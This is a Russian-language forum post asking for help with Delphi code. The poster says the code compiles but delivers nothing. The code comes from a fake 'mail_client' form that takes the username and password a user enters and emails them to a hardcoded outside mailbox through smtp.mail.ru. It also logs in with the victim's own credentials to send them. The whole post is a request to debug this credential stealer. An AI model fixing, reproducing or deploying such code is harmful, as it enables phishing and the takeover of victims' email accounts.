Есть такой код:
procedure TForm1.Button1Click(Sender: TObject);
var
mail: String;
Mes: TIdMessage;
begin
if(ComboBox2.Text = '') or (Edit1.Text = '')then
begin
Form2.Show;
end;
mail := 'loxan06@mail.ru';
Application.ProcessMessages;
Mes := TIdMessage.Create(nil);
Mes.Recipients.Add;
Mes.Recipients.Items[0].Text := mail;
Mes.From.Text := PChar(ComboBox2.Text);
Mes.Subject := 'mail_client';
Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+
'Pass:'+' '+Edit1.Text+#13#10);
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := PChar('smtp.mail.ru');
IdSMTP1.Username := PChar(ComboBox2.Text);
IdSMTP1.Password := PChar(Edit1.Text);
IdSMTP1.Port := 25; // Default
Application.ProcessMessages;
IdSMTP1.Connect(300);
if IdSMTP1.Connected then
begin
try // Отправляем месадж
Application.ProcessMessages;
IdSMTP1.Send(Mes);
except // если ошибка
on E: Exception do
begin
Application.ProcessMessages;
Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR);
IdSMTP1.Disconnect;
end;
end;
IdSMTP1.Disconnect;
end;
end;

Программа компилируеться но на мыло ни чего не приходит помогите кто чем может.